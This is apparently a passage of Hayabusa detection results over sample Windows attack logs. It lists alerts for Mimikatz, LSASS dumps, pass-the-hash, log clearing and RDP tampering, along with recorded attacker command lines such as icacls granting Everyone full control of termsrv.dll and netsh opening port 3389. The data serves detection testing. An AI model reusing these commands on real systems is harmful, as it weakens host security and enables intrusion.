Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32 : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32 : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32 : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32 : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.522 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-03-18 04:09:41.328 +09:00,PC04.example.corp,11,high,LSASS Memory Dump File Creation,,rules/sigma/file_event/sysmon_lsass_memory_dump_file_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_lsass_memdump.evtx +2019-03-18 04:09:41.328 +09:00,PC04.example.corp,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_lsass_memdump.evtx +2019-03-18 04:10:03.991 +09:00,PC04.example.corp,11,high,LSASS Memory Dump File Creation,,rules/sigma/file_event/sysmon_lsass_memory_dump_file_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_lsass_memdump.evtx +2019-03-18 04:10:03.991 +09:00,PC04.example.corp,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_lsass_memdump.evtx +2019-03-18 04:26:42.116 +09:00,PC04.example.corp,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/net_share_drive_5142.evtx +2019-03-18 04:37:11.661 +09:00,PC04.example.corp,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_lsass_mimikatz_sekurlsa_logonpasswords.evtx +2019-03-18 04:37:11.661 +09:00,PC04.example.corp,10,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_lsass_mimikatz_sekurlsa_logonpasswords.evtx +2019-03-18 04:37:11.661 +09:00,PC04.example.corp,10,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_lsass_mimikatz_sekurlsa_logonpasswords.evtx +2019-03-18 05:17:52.949 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\install.bat"" : Path: C:\Windows\System32\cmd.exe : User: PC04\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:17:52.979 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\RDPWInst"" -i -o : Path: C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\RDPWInst.exe : User: PC04\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\install.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:05.086 +09:00,PC04.example.corp,13,high,RDP Sensitive Settings Changed,,rules/sigma/registry_event/sysmon_rdp_settings_hijack.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.282 +09:00,PC04.example.corp,13,high,RDP Registry Modification,,rules/sigma/registry_event/sysmon_rdp_registry_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.282 +09:00,PC04.example.corp,13,high,RDP Sensitive Settings Changed,,rules/sigma/registry_event/sysmon_rdp_settings_hijack.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.312 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: netsh advfirewall firewall add rule name=""Remote Desktop"" dir=in protocol=tcp localport=3389 profile=any action=allow : Path: C:\Windows\System32\netsh.exe : User: PC04\IEUser : Parent Command: ""C:\Users\IEUser\Desktop\RDPWrap-v1.6.2\RDPWInst"" -i -o",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.312 +09:00,PC04.example.corp,1,medium,Netsh Port or Application Allowed,,rules/sigma/process_creation/win_netsh_fw_add.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.312 +09:00,PC04.example.corp,1,high,Netsh RDP Port Opening,,rules/sigma/process_creation/win_netsh_allow_port_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:09.643 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {995C996E-D918-4a8c-A302-45719A6F4EA7} -Embedding : Path: C:\Windows\System32\rundll32.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:18:12.096 +09:00,PC04.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 220 : Path: C:\Windows\System32\UI0Detect.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:14.512 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe"" : Path: C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe : User: PC04\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.907 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\takeown.exe"" /f C:\Windows\System32\termsrv.dll : Path: C:\Windows\System32\takeown.exe : User: PC04\IEUser : Parent Command: ""C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.917 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\icacls.exe"" C:\Windows\System32\termsrv.dll /grant %%username%%:F : Path: C:\Windows\System32\icacls.exe : User: PC04\IEUser : Parent Command: ""C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.917 +09:00,PC04.example.corp,1,medium,File or Folder Permissions Modifications,,rules/sigma/process_creation/win_file_permission_modifications.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.927 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\icacls.exe"" C:\Windows\System32\termsrv.dll /grant *S-1-1-0:(F) : Path: C:\Windows\System32\icacls.exe : User: PC04\IEUser : Parent Command: ""C:\Users\IEUser\Desktop\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch_20090425\UniversalTermsrvPatch-x86.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:20:17.927 +09:00,PC04.example.corp,1,medium,File or Folder Permissions Modifications,,rules/sigma/process_creation/win_file_permission_modifications.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:23:12.188 +09:00,PC04.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 220 : Path: C:\Windows\System32\UI0Detect.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_13_rdp_settings_tampering.evtx +2019-03-18 05:43:12.784 +09:00,PC04.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 220 : Path: C:\Windows\System32\UI0Detect.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_13_keylogger_directx.evtx +2019-03-18 05:43:16.309 +09:00,PC04.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: PC04\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_13_keylogger_directx.evtx +2019-03-18 20:06:25.485 +09:00,PC01.example.corp,1102,high,Security log was cleared,User: user01,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:06:29.911 +09:00,PC01.example.corp,4624,informational,Logon Type 9 - NewCredentials,User: user01 : Workstation: : IP Address: ::1 : Port: 0 : LogonID: 0x4530f0f : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-9-NewInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:06:29.911 +09:00,PC01.example.corp,4672,informational,Admin Logon,User: user01 : LogonID: 0x4530f0f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:06:29.911 +09:00,PC01.example.corp,4624,medium,Pass the Hash Activity 2,,rules/sigma/builtin/security/win_pass_the_hash_2.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:06:29.911 +09:00,PC01.example.corp,4624,high,Successful Overpass the Hash Attempt,,rules/sigma/builtin/security/win_overpass_the_hash.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_4624_mimikatz_sekurlsa_pth_source_machine.evtx +2019-03-18 20:27:00.438 +09:00,PC01.example.corp,1102,high,Security log was cleared,User: user01,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.231 +09:00,PC01.example.corp,4648,informational,Explicit Logon,Source User: user01 : Target User: administrator : IP Address: - : Process: C:\Windows\System32\svchost.exe : Target Server: RPCSS/WIN-77LTAPHIQ1R.example.corp,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.261 +09:00,PC01.example.corp,4648,medium,Explicit Logon: Suspicious Process,Source User: user01 : Target User: administrator : IP Address: - : Process: C:\Windows\System32\wbem\WMIC.exe : Target Server: host/WIN-77LTAPHIQ1R.example.corp,rules/hayabusa/default/alerts/Security/4648_ExplicitLogonSuspiciousProcess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.261 +09:00,PC01.example.corp,4648,medium,Suspicious Remote Logon with Explicit Credentials,,rules/sigma/builtin/security/win_susp_logon_explicit_credentials.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.271 +09:00,PC01.example.corp,4648,medium,Explicit Logon: Suspicious Process,Source User: user01 : Target User: administrator : IP Address: - : Process: C:\Windows\System32\wbem\WMIC.exe : Target Server: WIN-77LTAPHIQ1R.example.corp,rules/hayabusa/default/alerts/Security/4648_ExplicitLogonSuspiciousProcess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.271 +09:00,PC01.example.corp,4648,medium,Suspicious Remote Logon with Explicit Credentials,,rules/sigma/builtin/security/win_susp_logon_explicit_credentials.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 23:23:22.264 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:22.284 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Program Files\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:22.284 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.356 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: BGinfo : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.546 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.546 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.556 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.556 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.556 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.556 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.576 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.576 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.576 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.576 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Links : IP Address: 